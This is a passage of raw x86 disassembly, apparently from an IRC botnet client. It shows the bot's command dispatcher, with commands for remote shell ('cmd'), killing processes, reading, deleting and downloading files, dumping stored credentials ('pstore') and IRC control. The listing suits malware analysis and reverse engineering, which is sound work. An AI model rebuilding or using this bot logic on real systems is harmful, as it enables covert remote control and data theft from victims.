cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_403B52
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_43862C
loc_403B1D: ; CODE XREF: sub_401C87+49D1j
; sub_401C87+4CB6j ...
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 0Ch
loc_403B2C: ; CODE XREF: sub_401C87+1ED3j
; sub_401C87+49E6j ...
cmp [ebp+var_8], ebx
jnz loc_40259F
push ebx
lea eax, [ebp+var_2C8]
push edi
push eax
push [ebp+var_8C]
push esi
jmp loc_40654C
; ---------------------------------------------------------------------------
loc_403B4A: ; CODE XREF: sub_401C87+1ED1j
push 32h
call dword_4E033C ; Sleep
loc_403B52: ; CODE XREF: sub_401C87+1E88j
cmp [ebp+var_1920], ebx
jz short loc_403B4A
jmp short loc_403B2C
; ---------------------------------------------------------------------------
loc_403B5C: ; CODE XREF: sub_401C87+17DCj
; sub_401C87+17F1j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_403B6F
push esi
call sub_417960
jmp short loc_403B76
; ---------------------------------------------------------------------------
loc_403B6F: ; CODE XREF: sub_401C87+1EDEj
push 0Bh
call sub_4098C4
loc_403B76: ; CODE XREF: sub_401C87+1EE6j
cmp eax, ebx
pop ecx
jz loc_40743C
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_409FA4
jmp loc_40403C
; ---------------------------------------------------------------------------
loc_403B96: ; CODE XREF: sub_401C87+17B2j
; sub_401C87+17C7j
mov eax, dword_4D6584
cmp eax, ebx
jz short loc_403BB9
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2C8]
jz short loc_403BB2
push offset unk_438668
jmp short loc_403BE1
; ---------------------------------------------------------------------------
loc_403BB2: ; CODE XREF: sub_401C87+1F22j
push offset unk_43868C
jmp short loc_403BE1
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401C87+1F16j
push offset unk_4386B8
lea eax, [ebp+var_2C8]
jmp short loc_403BE1
; ---------------------------------------------------------------------------
loc_403BC6: ; CODE XREF: sub_401C87+1788j
; sub_401C87+179Dj
call sub_40879E
test eax, eax
lea eax, [ebp+var_2C8]
jz short loc_403BDC
push offset unk_4386E4
jmp short loc_403BE1
; ---------------------------------------------------------------------------
loc_403BDC: ; CODE XREF: sub_401C87+1F4Cj
push offset unk_438708
loc_403BE1: ; CODE XREF: sub_401C87+1F29j
; sub_401C87+1F30j ...
push 200h
push eax
call sub_417E80
jmp loc_405E9D
; ---------------------------------------------------------------------------
loc_403BF1: ; CODE XREF: sub_401C87+175Ej
; sub_401C87+1773j
cmp [ebp+var_8], ebx
jnz short loc_403C10
push ebx
push [ebp+var_4]
push offset dword_438734
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_403C10: ; CODE XREF: sub_401C87+1F6Dj
push ebx
push [ebp+var_4]
call sub_411BDA
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
push offset dword_43874C
jmp loc_403F0C
; ---------------------------------------------------------------------------
loc_403C32: ; CODE XREF: sub_401C87+1585j
; sub_401C87+159Aj
push 0Ah
call sub_4098A5
test eax, eax
pop ecx
jle short loc_403C48
push offset unk_438768
jmp loc_4056D9
; ---------------------------------------------------------------------------
loc_403C48: ; CODE XREF: sub_401C87+1FB5j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_413DAC
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403C67
push offset unk_438794
jmp loc_4056D9
; ---------------------------------------------------------------------------
loc_403C67: ; CODE XREF: sub_401C87+1FD4j
push offset unk_4387BC
jmp loc_4056D9
; ---------------------------------------------------------------------------
loc_403C71: ; CODE XREF: sub_401C87+155Bj
; sub_401C87+1570j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4083A1
jmp loc_402037
; ---------------------------------------------------------------------------
loc_403C8A: ; CODE XREF: sub_401C87+1531j
; sub_401C87+1546j
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_41146E
jmp loc_402037
; ---------------------------------------------------------------------------
loc_403CA7: ; CODE XREF: sub_401C87+1507j
; sub_401C87+151Cj
or edi, 0FFFFFFFFh
call dword_4E036C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_403CD0
push esi
call sub_417960
pop ecx
mov edi, eax
loc_403CD0: ; CODE XREF: sub_401C87+203Ej
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_403CE9
cmp edi, 0FFFFFFFFh
jnz loc_40743C
loc_403CE9: ; CODE XREF: sub_401C87+2057j
push ebx
call sub_414606
push eax
lea eax, [ebp+var_2C8]
push offset dword_4387DC
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
loc_403D26: ; CODE XREF: sub_401C87+4AFDj
add esp, 28h
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_403D2E: ; CODE XREF: sub_401C87+14DDj
; sub_401C87+14F2j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_410279
lea eax, [ebp+var_2C8]
push offset dword_4387F4
push eax
call sub_417CB0
loc_403D50: ; CODE XREF: sub_401C87+5021j
add esp, 14h
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_403D58: ; CODE XREF: sub_401C87+14B3j
; sub_401C87+14C8j
push 27h
call sub_4098A5
test eax, eax
pop ecx
jle short loc_403D8C
cmp [ebp+var_8], ebx
jnz loc_40622C
push ebx
push [ebp+var_4]
push offset unk_438814
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
loc_403D84: ; CODE XREF: sub_401C87+5763j
add esp, 14h
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_403D8C: ; CODE XREF: sub_401C87+20DBj
push [ebp+var_8C]
lea eax, [ebp+var_398]
push 80h
push eax
call sub_417E80
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_39C], eax
mov eax, [ebp+var_4]
mov [ebp+var_310], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_30C], eax
mov [ebp+var_314], ebx
jz short loc_403DED
push esi
push offset aFull ; "full"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_403DED
mov [ebp+var_314], 1
loc_403DED: ; CODE XREF: sub_401C87+2149j
; sub_401C87+215Aj
lea eax, [ebp+var_2C8]
push offset dword_43883C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 27h
push eax
call sub_409663
add esp, 14h
mov [ebp+var_318], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_39C]
push ebx
push eax
push offset sub_413A33
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_318]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_403E6D
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C8]
push offset unk_438858
push eax
call sub_417CB0
add esp, 0Ch
jmp loc_40609C
; ---------------------------------------------------------------------------
loc_403E65: ; CODE XREF: sub_401C87+21ECj
push 32h
call dword_4E033C ; Sleep
loc_403E6D: ; CODE XREF: sub_401C87+21BCj
cmp [ebp+var_308], ebx
jz short loc_403E65
jmp loc_40609C
; ---------------------------------------------------------------------------
loc_403E7A: ; CODE XREF: sub_401C87+1489j
; sub_401C87+149Ej
cmp [ebp+var_8], ebx
jnz short loc_403E99
push ebx
push [ebp+var_4]
push offset dword_438894
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_403E99: ; CODE XREF: sub_401C87+21F6j
push [ebp+arg_4]
call dword_4D6700 ; closesocket
call dword_4D65C0 ; WSACleanup
call sub_411DDE
push ebx
call dword_4E0328 ; ExitProcess
loc_403EB4: ; CODE XREF: sub_401C87+145Fj
; sub_401C87+1474j
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_4147AC
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
push offset dword_4388B0
jmp short loc_403F0C
; ---------------------------------------------------------------------------
loc_403EDF: ; CODE XREF: sub_401C87+1435j
; sub_401C87+144Aj
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_414A60
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
push offset dword_4388CC
loc_403F0C: ; CODE XREF: sub_401C87+1FA6j
; sub_401C87+2256j
call sub_40F927
loc_403F11: ; CODE XREF: sub_401C87+54A4j
add esp, 18h
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_403F19: ; CODE XREF: sub_401C87+140Bj
; sub_401C87+1420j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40FA64
jmp loc_402037
; ---------------------------------------------------------------------------
loc_403F32: ; CODE XREF: sub_401C87+13E1j
; sub_401C87+13F6j
cmp [ebp+var_C], ebx
mov [ebp+var_A5C], bl
jz short loc_403F71
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_403F71
push esi
push [ebp+var_C]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz short loc_403F71
push eax
push offset dword_4388E8
lea eax, [ebp+var_A5C]
push 80h
push eax
call sub_417E80
add esp, 10h
loc_403F71: ; CODE XREF: sub_401C87+22B4j
; sub_401C87+22BFj ...
push [ebp+var_8C]
lea eax, [ebp+var_ADC]
push 80h
push eax
call sub_417E80
mov eax, [ebp+arg_4]
push offset dword_4388EC
mov [ebp+var_AE0], eax
mov eax, [ebp+var_4]
mov [ebp+var_9D8], eax
mov eax, [ebp+var_8]
mov [ebp+var_9D4], eax
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 25h
push eax
call sub_409663
add esp, 20h
mov [ebp+var_9DC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_AE0]
push ebx
push eax
push offset sub_40FAD7
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_9DC]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_404014
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_438904
jmp loc_402213
; ---------------------------------------------------------------------------
loc_40400C: ; CODE XREF: sub_401C87+2393j
push 32h
call dword_4E033C ; Sleep
loc_404014: ; CODE XREF: sub_401C87+2372j
cmp [ebp+var_9D0], ebx
jz short loc_40400C
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_404021: ; CODE XREF: sub_401C87+13B7j
; sub_401C87+13CCj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40F8AF
push offset dword_43893C
call sub_40F927
loc_40403C: ; CODE XREF: sub_401C87+1F0Aj
add esp, 10h
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_404044: ; CODE XREF: sub_401C87+138Dj
; sub_401C87+13A2j
push [ebp+var_8C]
lea eax, [ebp+var_430]
push 80h
push eax
call sub_417E80
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_434], eax
mov eax, [ebp+var_4]
mov [ebp+var_3A8], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_3A4], eax
jz short loc_40409E
push offset dword_438954
push esi
call sub_418A30
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_3AC], eax
jmp short loc_4040A4
; ---------------------------------------------------------------------------
loc_40409E: ; CODE XREF: sub_401C87+23FBj
mov [ebp+var_3AC], ebx
loc_4040A4: ; CODE XREF: sub_401C87+2415j
lea eax, [ebp+var_2C8]
push offset dword_438958
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 28h
push eax
call sub_409663
add esp, 14h
mov [ebp+var_3B0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_434]
push ebx
push eax
push offset sub_4096CE
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_3B0]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_404115
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_438978
jmp loc_4052CC
; ---------------------------------------------------------------------------
loc_40410D: ; CODE XREF: sub_401C87+2494j
push 32h
call dword_4E033C ; Sleep
loc_404115: ; CODE XREF: sub_401C87+2473j
cmp [ebp+var_3A0], ebx
jz short loc_40410D
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_404122: ; CODE XREF: sub_401C87+1311j
; sub_401C87+1326j
push offset aJav0 ; "Jav0"
lea eax, [ebp+var_2C8]
push offset dword_4389B4
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 20h
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_404159: ; CODE XREF: sub_401C87+12E7j
; sub_401C87+12FCj
push dword_4D63A4
call sub_414606
push eax
lea eax, [ebp+var_2C8]
push offset unk_4389CC
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 24h
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_404197: ; CODE XREF: sub_401C87+12BDj
; sub_401C87+12D2j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4041C9
cmp [ebp+var_C], ebx
jz short loc_4041D8
push esi
push [ebp+var_C]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4041D8
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_407604
add esp, 0Ch
jmp short loc_4041D8
; ---------------------------------------------------------------------------
loc_4041C9: ; CODE XREF: sub_401C87+2519j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_407604
pop ecx
pop ecx
loc_4041D8: ; CODE XREF: sub_401C87+251Ej
; sub_401C87+252Dj ...
push 0FFFFFFFEh
pop eax
jmp loc_4075FF
; ---------------------------------------------------------------------------
loc_4041E0: ; CODE XREF: sub_401C87+1293j
; sub_401C87+12A8j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_407604
push offset dword_438A2C
call sub_40F927
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_4075FF
; ---------------------------------------------------------------------------
loc_404202: ; CODE XREF: sub_401C87+1269j
; sub_401C87+127Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_407604
push offset dword_438A60
call sub_40F927
add esp, 0Ch
jmp loc_405845
; ---------------------------------------------------------------------------
loc_404221: ; CODE XREF: sub_401C87+123Fj
; sub_401C87+1254j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_409D2C
jmp short loc_40426B
; ---------------------------------------------------------------------------
loc_404234: ; CODE XREF: sub_401C87+1215j
; sub_401C87+122Aj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_409CD8
jmp short loc_40426B
; ---------------------------------------------------------------------------
loc_404247: ; CODE XREF: sub_401C87+11EBj
; sub_401C87+1200j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_409C6D
jmp short loc_40426B
; ---------------------------------------------------------------------------
loc_40425A: ; CODE XREF: sub_401C87+11C1j
; sub_401C87+11D6j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_409B9F
loc_40426B: ; CODE XREF: sub_401C87+25ABj
; sub_401C87+25BEj ...
add esp, 0Ch
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_404273: ; CODE XREF: sub_401C87+111Cj
; sub_401C87+1131j
push [ebp+esi+var_90]
push 27h
push offset dword_438A7C
push offset dword_438A8C
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_40428B: ; CODE XREF: sub_401C87+10F2j
; sub_401C87+1107j
push [ebp+esi+var_90]
push 24h
push offset dword_438A9C
push offset dword_438AA8
jmp loc_402C5E
; ---------------------------------------------------------------------------
loc_4042A3: ; CODE XREF: sub_401C87+F98j
; sub_401C87+FADj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4042C3
push esi
call sub_417960
test ax, ax
pop ecx
jz short loc_4042C3
push esi
call sub_417960
pop ecx
jmp short loc_4042C9
; ---------------------------------------------------------------------------
loc_4042C3: ; CODE XREF: sub_401C87+2625j
; sub_401C87+2631j
mov ax, word_437088
loc_4042C9: ; CODE XREF: sub_401C87+263Aj
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_3B8], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_3A8], eax
lea eax, [ebp+var_438]
push eax
mov [ebp+var_43C], esi
mov [ebp+var_3AC], edi
call sub_417E80
movzx eax, [ebp+var_3B8]
add esp, 0Ch
push eax
push esi
call sub_408882
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_438AB8
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push edi
push eax
push [ebp+var_8C]
push esi
call sub_40764A
push ebx
lea eax, [ebp+var_2C8]
push 6
push eax
call sub_409663
add esp, 30h
mov [ebp+var_3B4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_43C]
push ebx
push eax
push offset sub_40CC69
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_3B4]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_40439B
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_438AE4
jmp loc_402213
; ---------------------------------------------------------------------------
loc_404393: ; CODE XREF: sub_401C87+271Aj
push 32h
call dword_4E033C ; Sleep
loc_40439B: ; CODE XREF: sub_401C87+26F9j
cmp [ebp+var_3A4], ebx
jz short loc_404393
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_4043A8: ; CODE XREF: sub_401C87+F44j
; sub_401C87+F59j ...
push edi
push offset aSecure_0 ; "secure"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_4043D0
push edi
push offset aSec_0 ; "sec"
call sub_418A30
pop ecx
mov [ebp+var_314], ebx
test eax, eax
pop ecx
jnz short loc_4043DA
loc_4043D0: ; CODE XREF: sub_401C87+2730j
mov [ebp+var_314], 1
loc_4043DA: ; CODE XREF: sub_401C87+2747j
push [ebp+var_8C]
lea eax, [ebp+var_398]
push 80h
push eax
call sub_417E80
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_314], ebx
mov [ebp+var_39C], eax
mov eax, [ebp+var_4]
mov [ebp+var_310], eax
mov eax, [ebp+var_8]
mov [ebp+var_30C], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_404421
mov eax, offset aUnsecuring ; "Unsecuring"
loc_404421: ; CODE XREF: sub_401C87+2793j
push eax
push offset dword_438B48
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_417E80
push ebx
lea eax, [ebp+var_2C8]
push 22h
push eax
call sub_409663
add esp, 1Ch
mov [ebp+var_318], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_39C]
push ebx
push eax
push offset sub_413F64
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_318]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_404498
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset dword_438B64
jmp loc_406DB6
; ---------------------------------------------------------------------------
loc_404490: ; CODE XREF: sub_401C87+2817j
push 32h
call dword_4E033C ; Sleep
loc_404498: ; CODE XREF: sub_401C87+27F6j
cmp [ebp+var_308], ebx
jz short loc_404490
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_4044A5: ; CODE XREF: sub_401C87+F1Aj
; sub_401C87+F2Fj
push offset unk_438BA0
jmp loc_406FF6
; ---------------------------------------------------------------------------
loc_4044AF: ; CODE XREF: sub_401C87+EF0j
; sub_401C87+F05j
push offset aModdd ; "Moddd"
push offset dword_438C50
jmp loc_405E91
; ---------------------------------------------------------------------------
loc_4044BE: ; CODE XREF: sub_401C87+EC6j
; sub_401C87+EDBj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_40451A
push esi
call sub_417960
cmp eax, ebx
pop ecx
jl short loc_40450F
cmp eax, 3
jge short loc_40450F
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_404504
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C8]
push offset unk_438C60
push eax
call sub_417CB0
mov [esi], bl
jmp loc_40652C
; ---------------------------------------------------------------------------
loc_404504: ; CODE XREF: sub_401C87+285Fj
push eax
push offset unk_438C80
jmp loc_406520
; ---------------------------------------------------------------------------
loc_40450F: ; CODE XREF: sub_401C87+284Bj
; sub_401C87+2850j
push eax
push offset unk_438CAC
jmp loc_406520
; ---------------------------------------------------------------------------
loc_40451A: ; CODE XREF: sub_401C87+2840j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40451F: ; CODE XREF: sub_401C87+28B4j
push [ebp+var_94]
push edi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_404542
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40451F
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_404542: ; CODE XREF: sub_401C87+28A8j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset unk_438CD8
jmp loc_406520
; ---------------------------------------------------------------------------
loc_40455C: ; CODE XREF: sub_401C87+E9Cj
; sub_401C87+EB1j
push [ebp+var_90]
push offset a332_1 ; "332"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4032EB
call sub_409826
push ebx
call dword_4E0328 ; ExitProcess
loc_404582: ; CODE XREF: sub_401C87+2909j
push 32h
call dword_4E033C ; Sleep
loc_40458A: ; CODE XREF: sub_401C87+174Aj
cmp [ebp+var_12E8], ebx
jz short loc_404582
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_404597: ; CODE XREF: sub_401C87+1744j
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_438CFC
jmp loc_406520
; ---------------------------------------------------------------------------
loc_4045A8: ; CODE XREF: sub_401C87+1685j
push edi
push offset aPstore ; "pstore"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40588C
push edi
push offset aPs_0 ; "ps"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40588C
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40584C
push edi
push offset aRin ; "rin"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40584C
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405806
push edi
push offset aRinms ; "rinms"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405806
push edi
push offset aNick_0 ; "nick"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4057E1
push edi
push offset aN ; "n"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4057E1
push edi
push offset aJoin ; "join"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4057BD
push edi
push offset aJ ; "j"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4057BD
push edi
push offset aPart_1 ; "part"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4057A3
push edi
push offset aPt ; "pt"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4057A3
push edi
push offset aRaw ; "raw"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40576D
push edi
push offset aR_0 ; "r"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40576D
push edi
push offset aKillthread ; "killthread"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4056AD
push edi
push offset aK ; "k"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4056AD
push edi
push offset aC_quit ; "c_quit"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4055FF
push edi
push offset aC_q ; "c_q"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4055FF
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4055A4
push edi
push offset aC_rn ; "c_rn"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4055A4
push edi
push offset aPrefix ; "prefix"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40558B
push edi
push offset aPr ; "pr"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40558B
push edi
push offset aOpen ; "open"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405557
push edi
push offset aO ; "o"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405557
push edi
push offset aServer_0 ; "server"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40552E
push edi
push offset aSe ; "se"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40552E
push edi
push offset aDns ; "dns"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4054C3
push edi
push offset aDn ; "dn"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4054C3
push edi
push offset aKillproc ; "killproc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40548D
push edi
push offset aKp ; "kp"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40548D
push edi
push offset aKill ; "kill"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40542E
push edi
push offset aKi ; "ki"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40542E
push edi
push offset aDelete ; "delete"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4053F6
push edi
push offset aDel ; "del"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4053F6
push edi
push offset aGet ; "get"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405314
push edi
push offset aGt ; "gt"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405314
push edi
push offset aList ; "list"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4052F5
push edi
push offset aLi ; "li"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4052F5
push edi
push offset aVisit ; "visit"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405205
push edi
push offset aV ; "v"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405205
push edi
push offset aMirccmd ; "mirccmd"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40518F
push edi
push offset aMirc ; "mirc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40518F
push edi
push offset aCmd ; "cmd"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405139
push edi
push offset aCm ; "cm"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405139
push edi
push offset aReadfile ; "readfile"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4050AE
push edi
push offset aRf ; "rf"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4050AE
push edi
push offset aIdent ; "ident"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_404A43
push [ebp+arg_10]
push offset aOn ; "on"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404A09
push 2
call sub_4098A5
test eax, eax
pop ecx
lea eax, [ebp+var_2C8]
jle short loc_4049B2
push offset dword_438E68
jmp loc_40389A
; ---------------------------------------------------------------------------
loc_4049B2: ; CODE XREF: sub_401C87+2D1Fj
push offset dword_438E88
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 2
push eax
call sub_409663
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_40E91A
push ebx
push ebx
call dword_4E0340 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4495B4[esi], eax
jnz loc_40652F
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset dword_438EB4
jmp loc_406520
; ---------------------------------------------------------------------------
loc_404A09: ; CODE XREF: sub_401C87+2D0Dj
push [ebp+arg_10]
push offset aOff ; "off"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40652F
push ebx
push 2
call sub_409858
pop ecx
cmp eax, ebx
pop ecx
jle short loc_404A39
push eax
push offset dword_438EEC
jmp loc_406520
; ---------------------------------------------------------------------------
loc_404A39: ; CODE XREF: sub_401C87+2DA5j
push offset dword_438F24
jmp loc_403894
; ---------------------------------------------------------------------------
loc_404A43: ; CODE XREF: sub_401C87+2CF6j
push edi
push offset aNet ; "net"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_404D36
cmp dword_4D6734, ebx
jz short loc_404A72
cmp dword_4D675C, ebx
jz short loc_404A72
push offset unk_438F48
jmp loc_406FF6
; ---------------------------------------------------------------------------
